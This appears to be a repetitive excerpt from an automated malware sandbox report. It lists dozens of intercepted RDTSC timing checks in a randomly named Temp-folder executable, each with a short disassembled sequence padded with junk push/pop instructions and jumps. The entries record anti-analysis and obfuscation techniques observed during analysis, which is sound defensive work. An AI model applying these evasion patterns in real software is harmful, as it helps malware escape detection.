Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9960A8 second address: 9960C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F6E34BB4F92h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99DCF4 second address: 99DD11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F6E3509047Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99DD11 second address: 99DD1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99DD1B second address: 99DD21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99DD21 second address: 99DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99DD27 second address: 99DD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E122 second address: 99E137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F91h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E137 second address: 99E18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E3509047Dh 0x0000000b jmp 00007F6E35090483h 0x00000010 jmp 00007F6E35090489h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 jmp 00007F6E35090480h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E18F second address: 99E193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E193 second address: 99E199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E44A second address: 99E44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E44E second address: 99E46E instructions: 0x00000000 rdtsc 0x00000002 je 00007F6E35090476h 0x00000008 jmp 00007F6E35090486h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E46E second address: 99E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E474 second address: 99E478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E478 second address: 99E494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E494 second address: 99E498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E498 second address: 99E49C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E5D8 second address: 99E5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F6E35090481h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E5EF second address: 99E5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E5FA second address: 99E628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6E35090476h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F6E3509047Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6E3509047Fh 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E628 second address: 99E644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F96h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E644 second address: 99E64A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E64A second address: 99E654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6E34BB4F86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 99E654 second address: 99E658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C40 second address: 9A0C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C46 second address: 9A0C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C4A second address: 9A0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F6E34BB4F86h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C5E second address: 9A0C64 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C64 second address: 9A0C6E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6E34BB4F8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C6E second address: 9A0C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C7D second address: 9A0C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0C81 second address: 9A0C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0D26 second address: 9A0D38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0E7D second address: 9A0EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 je 00007F6E35090480h 0x0000000c jmp 00007F6E3509047Ah 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jns 00007F6E3509047Ch 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jbe 00007F6E35090476h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0EAE second address: 9A0EB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0EB8 second address: 9A0EDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0EDA second address: 9A0EF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0EF2 second address: 9A0EF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0EF8 second address: 9A0F99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add dword ptr [ebp+122D3356h], ecx 0x0000000f push 00000003h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F6E34BB4F88h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+124556D6h], edx 0x00000031 push 00000000h 0x00000033 mov edx, dword ptr [ebp+122D2E5Dh] 0x00000039 push 00000003h 0x0000003b sbb cx, 3F32h 0x00000040 call 00007F6E34BB4F89h 0x00000045 jmp 00007F6E34BB4F8Eh 0x0000004a push eax 0x0000004b push edi 0x0000004c push ebx 0x0000004d jnp 00007F6E34BB4F86h 0x00000053 pop ebx 0x00000054 pop edi 0x00000055 mov eax, dword ptr [esp+04h] 0x00000059 jmp 00007F6E34BB4F92h 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F6E34BB4F98h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0F99 second address: 9A0FA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0FA3 second address: 9A0FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0FA7 second address: 9A0FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6E3509047Eh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0FC7 second address: 9A0FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b and si, 3141h 0x00000010 lea ebx, dword ptr [ebp+12456B38h] 0x00000016 mov ecx, dword ptr [ebp+122D2DC1h] 0x0000001c xchg eax, ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A0FEA second address: 9A0FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A105F second address: 9A1083 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F6E34BB4F8Ch 0x00000010 jno 00007F6E34BB4F86h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jnp 00007F6E34BB4F86h 0x00000021 push edx 0x00000022 pop edx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A1083 second address: 9A10B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090488h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnc 00007F6E3509047Ch 0x00000010 push 00000000h 0x00000012 push D81555CEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A10B9 second address: 9A10BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A10BD second address: 9A10C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9A10C3 second address: 9A114A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6E34BB4F88h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 27EAAAB2h 0x00000011 jnc 00007F6E34BB4F8Ch 0x00000017 mov edx, dword ptr [ebp+122D1C10h] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F6E34BB4F88h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 sub dword ptr [ebp+122D1C10h], edx 0x0000003f push 00000000h 0x00000041 jmp 00007F6E34BB4F90h 0x00000046 call 00007F6E34BB4F92h 0x0000004b pop esi 0x0000004c push 00000003h 0x0000004e mov dword ptr [ebp+122D1DDAh], ecx 0x00000054 push 9FBFF55Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jo 00007F6E34BB4F88h 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9B3E5D second address: 9B3E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C2791 second address: 9C279C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6E34BB4F86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C0965 second address: 9C096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C096B second address: 9C097E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6E34BB4F8Eh 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C097E second address: 9C0988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6E35090476h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C0988 second address: 9C098C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C098C second address: 9C09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3509047Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1058 second address: 9C1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C132E second address: 9C1332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1332 second address: 9C1347 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F91h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1347 second address: 9C1367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E35090488h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C160E second address: 9C1632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F6E34BB4F9Eh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1632 second address: 9C1638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1638 second address: 9C163C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C163C second address: 9C1640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1640 second address: 9C1646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1E6F second address: 9C1E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1E77 second address: 9C1E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6E34BB4F90h 0x0000000b jnp 00007F6E34BB4F86h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1E9D second address: 9C1EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F6E35090488h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C1EC1 second address: 9C1EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C22FF second address: 9C2304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C2304 second address: 9C2316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007F6E34BB4F86h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C25D3 second address: 9C25D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C25D9 second address: 9C25FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F94h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e je 00007F6E34BB4F86h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C25FC second address: 9C2602 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	RDTSC instruction interceptor: First address: 9C2602 second address: 9C2608 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
